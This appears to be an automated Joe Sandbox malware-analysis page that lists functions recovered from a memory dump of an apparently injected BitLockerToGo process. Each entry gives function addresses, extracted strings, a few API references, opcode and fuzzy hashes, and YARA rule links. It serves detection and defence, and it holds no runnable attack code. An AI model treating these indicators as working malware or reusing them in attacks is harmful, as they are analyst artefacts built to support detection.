API ID: Clipboard$CloseDataInfoOpenWindow
String ID: 7$8$9$:$;
API String ID: 2278096442-1017836374
Opcode ID: bd395f0ab45ff2f0787a8e77acad4d41cb15d3482d57f5f6a431e5df5ff7afbd
Instruction ID: 00cbec6aaf58930901e89cda48331bb11ff5dcd79f45435ba7bfb13cd7a9aeda
Opcode Fuzzy Hash: bd395f0ab45ff2f0787a8e77acad4d41cb15d3482d57f5f6a431e5df5ff7afbd
Instruction Fuzzy Hash: 2B716BB4518740CFC721EF28C4C5726BBE0AF65314F14CA9AE8EA8B752D334E945DB62

Uniqueness

Uniqueness Score: -1.00%

Function 00B417B0 Relevance: 9.3, Strings: 7, Instructions: 589COMMON

Download Yara Rule

Strings

., xrefs: 00B4185A
false, xrefs: 00B41942
null, xrefs: 00B41B8D
0, xrefs: 00B41854
[, xrefs: 00B41A19
true, xrefs: 00B4192A
., xrefs: 00B4187F

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: .$.$0$[$false$null$true
API String ID: 0-2094208800
Opcode ID: 11f51d14bb9d94bd18b2a009c8ee39835cf59ae6f688fc82f4a10fae5e1146db
Instruction ID: 144de133517f25d825a2f5211b2a65c34b446c7616ed4f651eee6ceb6793af66
Opcode Fuzzy Hash: 11f51d14bb9d94bd18b2a009c8ee39835cf59ae6f688fc82f4a10fae5e1146db
Instruction Fuzzy Hash: 040209B4E003059FE7105F29DC8572A7BE4EF41348F188DB8E8954B292EB35DB94E792

Uniqueness

Uniqueness Score: -1.00%

Function 00B497F0 Relevance: 9.1, Strings: 7, Instructions: 344COMMON

Download Yara Rule

Strings

H\UK, xrefs: 00B49835
k^PW, xrefs: 00B498E8
^A, xrefs: 00B4986C
MTDC, xrefs: 00B49840
(, xrefs: 00B49A1D
p,J^, xrefs: 00B4981F
k^PW, xrefs: 00B49C50, 00B49C70, 00B49C57, 00B49C32, 00B49C82

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: H\UK$MTDC$^A$k^PW$k^PW$p,J^$(
API String ID: 0-2897112414
Opcode ID: 4cb1d2a139421ae9cb281e9413b061bf2fe9187673c0a3fa46b425bfb9b1e7e3
Instruction ID: 376c86b6548d86e342d7cb99747ca8a7c40c252d415b81b99b1388b9f42f92f2
Opcode Fuzzy Hash: 4cb1d2a139421ae9cb281e9413b061bf2fe9187673c0a3fa46b425bfb9b1e7e3
Instruction Fuzzy Hash: 78C135B110C3918FD725CF14C4A479BBBE0FF92344F184A9DE4E59B292C779990ACB92

Uniqueness

Uniqueness Score: -1.00%

Function 00B5757A Relevance: 7.8, Strings: 6, Instructions: 276COMMON

Download Yara Rule

Strings

#:6=, xrefs: 00B577CB
0GUR, xrefs: 00B57745
3:|", xrefs: 00B577D2
$U, xrefs: 00B5775A
. Q", xrefs: 00B57753
/-,$, xrefs: 00B577D9

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: $U$#:6=$. Q"$/-,$$0GUR$3:|"
API String ID: 0-522111420
Opcode ID: 922b6b6f38f7ea3622223bcc499581fd73715183b527bd3e01095e8a6e029354
Instruction ID: 9da792b3badebbde1e60dc5e88f56470192439c2a272efcfa8a8d0aac7d033d3
Opcode Fuzzy Hash: 922b6b6f38f7ea3622223bcc499581fd73715183b527bd3e01095e8a6e029354
Instruction Fuzzy Hash: 41A19C70608B818FD7258F39D490763BBE1EB56305F188A9DC4EB8BA92D775E40ACB50

Uniqueness

Uniqueness Score: -1.00%

Function 00B56555 Relevance: 7.6, Strings: 6, Instructions: 92COMMON

Download Yara Rule

Strings

v|vs, xrefs: 00B56568
uux, xrefs: 00B56580
~t~{, xrefs: 00B56578
&ldh, xrefs: 00B56570
ql, xrefs: 00B56588
<z?, xrefs: 00B56669

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: &ldh$ql$uux$v|vs$~t~{$<z?
API String ID: 0-2189675787
Opcode ID: 8b865f83683b2fb3e8bb8f3ded8c1c031ad2f1644cb719c4f16a93e45952e5a8
Instruction ID: b6c265a88b2a0d1d2daf2529a76a2dd290009a73e0745850f923b28bc4b8dc77
Opcode Fuzzy Hash: 8b865f83683b2fb3e8bb8f3ded8c1c031ad2f1644cb719c4f16a93e45952e5a8
Instruction Fuzzy Hash: DF316DB05083808BD324CF14C89172ABBE2FF96324F589B9CF4955B2A5E779C9068B56

Uniqueness

Uniqueness Score: -1.00%

Function 00B53038 Relevance: 5.2, Strings: 4, Instructions: 205COMMON

Download Yara Rule

Strings

L\]D, xrefs: 00B5364B
I]J, xrefs: 00B53623
W^S, xrefs: 00B53619
RWGQ, xrefs: 00B5362D

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: I]J$L\]D$RWGQ$W^S
API String ID: 0-3197350908
Opcode ID: 430705e10f1d7eb024468adbf5bfa74c6a8c0911a830dc9ef0b0038a9b71e7cb
Instruction ID: f6937f0a250928317435a5c01f2b8f8d54ea05ec3718eb18676a987a1a2b5484
Opcode Fuzzy Hash: 430705e10f1d7eb024468adbf5bfa74c6a8c0911a830dc9ef0b0038a9b71e7cb
Instruction Fuzzy Hash: 597157B4205B808BE3268F398094BA3BBE1BF46745F14499CD4EB4B392D335A949CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00B7F500 Relevance: 4.1, Strings: 3, Instructions: 309COMMON

Download Yara Rule

Strings

R-,T, xrefs: 00B7F5C0
7452, xrefs: 00B7F568
R-,T, xrefs: 00B7F6D0

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 7452$R-,T$R-,T
API String ID: 0-4083704330
Opcode ID: 6da0cec89eadffc5f10eb7062b0e1b51a8bde327b7914acf800067ec88fa3ff2
Instruction ID: f22a6cb494562a9c2d7c3aa1aa6a3bff26e9f06901733811990b232fba3469af
Opcode Fuzzy Hash: 6da0cec89eadffc5f10eb7062b0e1b51a8bde327b7914acf800067ec88fa3ff2
Instruction Fuzzy Hash: B4B18C726043128BC714CF18C490B6BB7E2FF88754F158A6CE8A99B391D770EC55CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00B68AC0 Relevance: 3.7, Strings: 2, Instructions: 1242COMMON

Download Yara Rule

Strings

0, xrefs: 00B68C7D
onqp, xrefs: 00B69775

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 0$onqp
API String ID: 0-3335788350
Opcode ID: f719175e5f2466f488323987720568b539f42e188dfca0dda4248cff87d2723d
Instruction ID: a7fecaedc35e0a3f243d415cf5657b4aa82326f9656803dfbb147233c05b8afa
Opcode Fuzzy Hash: f719175e5f2466f488323987720568b539f42e188dfca0dda4248cff87d2723d
Instruction Fuzzy Hash: D392C1742047418FD729CF29C4A0B26BBE6FF56304F2886ADD4DA8B796D739E805CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00B6C85E Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 224COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32 ref: 00B6C868

Part of subcall function 00B792D0: RtlAllocateHeap.NTDLL(?,00000000,00B49DBE), ref: 00B79367

Strings

G, xrefs: 00B6CA31

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeapString
String ID: G
API String ID: 983180023-985283518
Opcode ID: 1f854a5f194f10e6ef6105bac1c6b3936e675c7162b2622aae30e0218538cc4b
Instruction ID: 144ba17cf47a46ef9236d5c81eb5a7c245a551075b72abbc72084b64e1b688af
Opcode Fuzzy Hash: 1f854a5f194f10e6ef6105bac1c6b3936e675c7162b2622aae30e0218538cc4b
Instruction Fuzzy Hash: FC91B1716093818FC735DF28C4957AEBBD2BB9A320F184A6DD4E98B3D1DB359441CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00B45720 Relevance: 3.3, Strings: 2, Instructions: 834COMMON

Download Yara Rule

Strings

0, xrefs: 00B460C7
8, xrefs: 00B460BF

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: ab5cb46b06427a52ece09a6bf2b62036b9cc79d5c40b140bbd2527cec1cee88a
Instruction ID: d4239e59acf5b6c98bcbc2626d6bb8a48bdd39d0d5261cd01c65f13321cb3843
Opcode Fuzzy Hash: ab5cb46b06427a52ece09a6bf2b62036b9cc79d5c40b140bbd2527cec1cee88a
Instruction Fuzzy Hash: 837238716087409FDB24CF18C880BAABBE1FF89314F04896DF9859B392D775DA44DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00B65B50 Relevance: 3.0, Strings: 2, Instructions: 511COMMON

Download Yara Rule

Strings

", xrefs: 00B65FFC
", xrefs: 00B65FBD

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "$"
API String ID: 0-3758156766
Opcode ID: 6d0cccda653b213e410a5987019b519f93042dad6611bfa4ed1d3a34f244c4b0
Instruction ID: 308b95e91136c0b94101111f515397003cdc23361c4e1a9125eebfbd609b3232
Opcode Fuzzy Hash: 6d0cccda653b213e410a5987019b519f93042dad6611bfa4ed1d3a34f244c4b0
Instruction Fuzzy Hash: 4802E5716087019FD728CE28C494B6BB7E5EFC5314F1889ADE49987382D778DD19CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00B7C571 Relevance: 2.6, Strings: 2, Instructions: 102COMMON

Download Yara Rule

Strings

onqp, xrefs: 00B7C4C1
onqp, xrefs: 00B7C5A6

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: onqp$onqp
API String ID: 0-2464386876
Opcode ID: e771d52bb116f99c9e94be30560055a46c931b6c031357eba2c86796741b5676
Instruction ID: 414a917dfdb9e64dd4d344e9e2ee869dd577a19895b12a8909617d4d4ca4214e
Opcode Fuzzy Hash: e771d52bb116f99c9e94be30560055a46c931b6c031357eba2c86796741b5676
Instruction Fuzzy Hash: 8C41A070601B408FE328CF15C4A4B27BBE2EB99314F249A5DC4AB47A95C775F845CB88

Uniqueness

Uniqueness Score: -1.00%

Function 00B79E10 Relevance: 1.9, Strings: 1, Instructions: 642COMMON

Download Yara Rule

Strings

onqp, xrefs: 00B79EA8

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: 7168607ecb25a1763df47315daa2fcf4495a5be8d634a72af22c1d60a4e5d68a
Instruction ID: 451aaf3a8f403cb0585cc3c0a1e7d2bd8a93c31ffed04cec220285ddffe646f1
Opcode Fuzzy Hash: 7168607ecb25a1763df47315daa2fcf4495a5be8d634a72af22c1d60a4e5d68a
Instruction Fuzzy Hash: E93269716083419FD714CF14C890B2FBBE2FBC9714F188A6DE5A98B292D775E905CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00B66953 Relevance: 1.6, Strings: 1, Instructions: 309COMMON

Download Yara Rule

Strings

::34, xrefs: 00B66B74

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ::34
API String ID: 0-1123104282
Opcode ID: 30beb9d06c595a84af38afd5881e559bae757cd54d39b4718e869055ad789864
Instruction ID: deab8a2a9b42ae9edf75249c614f3f6f4a1a2e37ad533b848228f1de606ba683
Opcode Fuzzy Hash: 30beb9d06c595a84af38afd5881e559bae757cd54d39b4718e869055ad789864
Instruction Fuzzy Hash: 64A1C474204B818BD728CF3980A1776FBE1FF56304F1896ADD4EB8B692D739A809C714

Uniqueness

Uniqueness Score: -1.00%

Function 00B7F190 Relevance: 1.6, Strings: 1, Instructions: 308COMMON

Download Yara Rule

Strings

7452, xrefs: 00B7F1F8

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: aed616e9425c62e838be36fa0054444af05967be21650f3321de52d930685d18
Instruction ID: c9a6fb08a98ec545fd5e22bc831e203fad44d513cdcec08e6967ecdb5917f0af
Opcode Fuzzy Hash: aed616e9425c62e838be36fa0054444af05967be21650f3321de52d930685d18
Instruction Fuzzy Hash: 4DA18E752043029BD724CF28C490B6BB7F2FF88354F1589ACE8999B3A1D770D945CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00B46A50 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

,, xrefs: 00B46BA7

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: d364fc58fd122fcd3f561c926b6861e3e42429a077bc55174dc0cc7657aa907c
Instruction ID: 0fa68b045dcd08bd160b6b0b8d8f8472c929d24807abd5a2609b620ea216f1ac
Opcode Fuzzy Hash: d364fc58fd122fcd3f561c926b6861e3e42429a077bc55174dc0cc7657aa907c
Instruction Fuzzy Hash: 81B11871609381AFD314CF58C88475ABFE0AFAA304F444A6DF49897382C771DA18DBA7

Uniqueness

Uniqueness Score: -1.00%

Function 00B62760 Relevance: 1.5, Strings: 1, Instructions: 235COMMON

Download Yara Rule

Strings

knke, xrefs: 00B62604

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: knke
API String ID: 0-888893071
Opcode ID: 7f2b6d3b39155c321e4e70fc785a600a69148811a17f2ddedce8cc29ee6a611c
Instruction ID: c1a426929c8705aeacd8d0124549f843ae684c47a03d8b639e866ac11598c517
Opcode Fuzzy Hash: 7f2b6d3b39155c321e4e70fc785a600a69148811a17f2ddedce8cc29ee6a611c
Instruction Fuzzy Hash: 369165B5500B009FC324CF29C982A53BBF5EB49350F148A99E8AA8BB65D731F915CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00B79A20 Relevance: 1.4, Strings: 1, Instructions: 176COMMON

Download Yara Rule

Strings

onqp, xrefs: 00B79AA8

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: 82b472d4f330a64c4bcf844fa28b0b79488aa91155604914ff48e649c878cd34
Instruction ID: 2d1aadb485fdb69385aed2f02fc8169659b15c0b86dfaa3d0a402516d03fd6b9
Opcode Fuzzy Hash: 82b472d4f330a64c4bcf844fa28b0b79488aa91155604914ff48e649c878cd34
Instruction Fuzzy Hash: B0518B716083019BDB18CF14D8A4B2FBBE2EFC4704F28C95DE4A94B295D775D945CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00B7EAF0 Relevance: 1.4, Strings: 1, Instructions: 165COMMON

Download Yara Rule

Strings

7452, xrefs: 00B7EB58

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: 99f3e6261adf38ae71073bf0a2e5d45b5830940255e943b86236643347635fc1
Instruction ID: 7b2e7af7d0da31570b5989930f861b294d5e8a13b10e409ea0a6c39f98414b02
Opcode Fuzzy Hash: 99f3e6261adf38ae71073bf0a2e5d45b5830940255e943b86236643347635fc1
Instruction Fuzzy Hash: FF5178752083019BE704CF14C990B6BBBE2FFC8358F54899CE4A95B290D774E955CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00B626BD Relevance: 1.4, Strings: 1, Instructions: 160COMMON

Download Yara Rule

Strings

knke, xrefs: 00B62604

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: knke
API String ID: 0-888893071
Opcode ID: afa113a92b7963a5a54ca116edbf7ec571b11a29e2f342ba552168ea26884ab3
Instruction ID: fecd4e90cd6a4975b0dd050260718b967fa8458f68cc2238c5c506f10f9dd653
Opcode Fuzzy Hash: afa113a92b7963a5a54ca116edbf7ec571b11a29e2f342ba552168ea26884ab3
Instruction Fuzzy Hash: 1F6111B5204B00CFD724CF14D590A16BBF2FF99354B258998D89A4BB2AC735F919CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00B51E13 Relevance: 1.4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

Strings

^t_, xrefs: 00B51EF3

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ^t_
API String ID: 0-4261081691
Opcode ID: 5f29ac6ca08207f7b01f2e03c86c8ce60b0f832f6bba02f5dc9e118cc301b509
Instruction ID: 3189c44fac23e5c492d011b04a4526c5ed5c5724ef50c78d45c2b2428f17f481
Opcode Fuzzy Hash: 5f29ac6ca08207f7b01f2e03c86c8ce60b0f832f6bba02f5dc9e118cc301b509
Instruction Fuzzy Hash: 7C316F755046028FC725CF28C881B22B3E6FF89311F298AA9D85A87751EB30F845CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00B68A13 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

0, xrefs: 00B68A67

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 482817277d7db26151235a89368b867562667688fb5fd027119a770e0ba9e47c
Instruction ID: 4beed8eaab4660032ae4c5dd1bf221654e555e73dd2254318a66a1628cef44e1
Opcode Fuzzy Hash: 482817277d7db26151235a89368b867562667688fb5fd027119a770e0ba9e47c
Instruction Fuzzy Hash: 113149712096518AC32C8B298095532F7F2EF84310B59D7EAD9D68F2E9DA3D8842D325

Uniqueness

Uniqueness Score: -1.00%

Function 00B5DDC7 Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

\Q, xrefs: 00B5DE4B

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: \Q
API String ID: 0-1270571461
Opcode ID: b8657ef911c7ba5db905d304bc746efa7d949af13c76a37e7b1feb19f8f7d4d9
Instruction ID: b38a9ea273169561a5b90704b8ecc2311fc00f03f54458bac083d43ad54afd43
Opcode Fuzzy Hash: b8657ef911c7ba5db905d304bc746efa7d949af13c76a37e7b1feb19f8f7d4d9
Instruction Fuzzy Hash: 223111B160C3C08BD3299F29D46135FBBE1BB96708F144AADE5D99B391C73888498F42

Uniqueness

Uniqueness Score: -1.00%

Function 00B64982 Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

onqp, xrefs: 00B649BA

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: 388c19aeed176f49bb338e890d3012f47d04163ebb5046e764f35459a1213a9c
Instruction ID: 7277fd82d24c24dc214c12b8d9269bac6fb0812523d31f9e267223f6bad46c5a
Opcode Fuzzy Hash: 388c19aeed176f49bb338e890d3012f47d04163ebb5046e764f35459a1213a9c
Instruction Fuzzy Hash: 06211474244B008BD728CF15D5A4B26BBE2FB4A708F18595DD0A38BBA1C779E805CF84

Uniqueness

Uniqueness Score: -1.00%

Function 00B5DF3A Relevance: 1.3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

\Q, xrefs: 00B5DFC6

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: \Q
API String ID: 0-1270571461
Opcode ID: ee36d878c27ff19b4c69152b97dc80aa33462aa8cd033b7fae5d1b749818799a
Instruction ID: 1242e7ba7c929449e0f6feb3b45a58643dfd7b0daa2aebabae1a0522c6604f2e
Opcode Fuzzy Hash: ee36d878c27ff19b4c69152b97dc80aa33462aa8cd033b7fae5d1b749818799a
Instruction Fuzzy Hash: 983101B160C3C08BD3288F25D46135FFBE1BB86708F184AADE4D99B391C77989498F52

Uniqueness

Uniqueness Score: -1.00%

Function 00B480A0 Relevance: .8, Instructions: 824COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 704b87d1b9c676f88e1c07b0446b889827816cb16b5e5fb0875026c9d654919f
Instruction ID: ee58d5addd2e3e43850ed60f1d8dd00d9e6a230a0b7322e8de835c6d7c20159f
Opcode Fuzzy Hash: 704b87d1b9c676f88e1c07b0446b889827816cb16b5e5fb0875026c9d654919f
Instruction Fuzzy Hash: 6A52E4315083118BC725DF58E8802BEB3E1FFD4314F298AADD9C697385EB34AA51DB46

Uniqueness

Uniqueness Score: -1.00%

Function 00B44160 Relevance: .6, Instructions: 609COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dfc839d03d63a50e817e975d578c9504da6c4a308ead31d5b9f67fef9f3680d
Instruction ID: a77d3cbee4f149c4f30911ee2dab6d3424850503c60309fca424d7287b96e474
Opcode Fuzzy Hash: 8dfc839d03d63a50e817e975d578c9504da6c4a308ead31d5b9f67fef9f3680d
Instruction Fuzzy Hash: 184252B0514B518FC328CF28C58066ABBF1FF95310BA08AADD5978BB90D735FA55EB10

Uniqueness

Uniqueness Score: -1.00%

Function 00B5D35E Relevance: .6, Instructions: 577COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c67ba26865ddc847251c431958b2c7c6bbf3aa60e2cecd139fe3c03abc63bae
Instruction ID: f208aad3935b768e275ec73218f430ea06520312efc3bb23b754b848f7dc6cbe
Opcode Fuzzy Hash: 1c67ba26865ddc847251c431958b2c7c6bbf3aa60e2cecd139fe3c03abc63bae
Instruction Fuzzy Hash: 3A129F71608341CFD718CF18D890B2AB7F2FB89315F598AACE8859B3A1DB35D945CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00B46480 Relevance: .5, Instructions: 512COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d6b26135a85f1ba36ec99bd4b3dc625d20bcced6620301fca5a619afc7e9557
Instruction ID: 94f844c4cb576cfa2da9b88e58601134bac2102ee6821242ec0f84f284ffaa10
Opcode Fuzzy Hash: 8d6b26135a85f1ba36ec99bd4b3dc625d20bcced6620301fca5a619afc7e9557
Instruction Fuzzy Hash: 7A02A3366083508FDB14CF19C88176ABBE2EFD9304F0888ADE989CB352D675DD45CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00B57ABA Relevance: .3, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b434da3d0339ae1284c5b8d4fa7067bac3a5c99bb72a21e5816c97e555dc271
Instruction ID: 9c5f5919399045e6068ba4ce86ed26087f2b9d896138bf83bfe4b9cce4523cd9
Opcode Fuzzy Hash: 5b434da3d0339ae1284c5b8d4fa7067bac3a5c99bb72a21e5816c97e555dc271
Instruction Fuzzy Hash: 6DB18BB12447018BD724CF28D891762B7F2FF4A315F198698DC9A8F796EB74E805CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B6213D Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49442a595d0bba1661e4f1ee710871c7607badcee167da5e1f42d958c58ebd7f
Instruction ID: ea61d4afa4b34069d45bc4c63f6d110f18531cc416f3911edc01c0cd8f5ec243
Opcode Fuzzy Hash: 49442a595d0bba1661e4f1ee710871c7607badcee167da5e1f42d958c58ebd7f
Instruction Fuzzy Hash: 8BB1C6B4608B42CFE725CF28C490622BBF2BF56304B1845ADD5D68B752DB39F90ACB51

Uniqueness

Uniqueness Score: -1.00%

Function 00B51419 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac7d1d2ce223875951db08cd4c7b4631172c6399c475143b109254840e53f0ce
Instruction ID: 10367d03f180a4035099ca05385ae11485db93b1c3dc2a43b08e931b6cedb93d
Opcode Fuzzy Hash: ac7d1d2ce223875951db08cd4c7b4631172c6399c475143b109254840e53f0ce
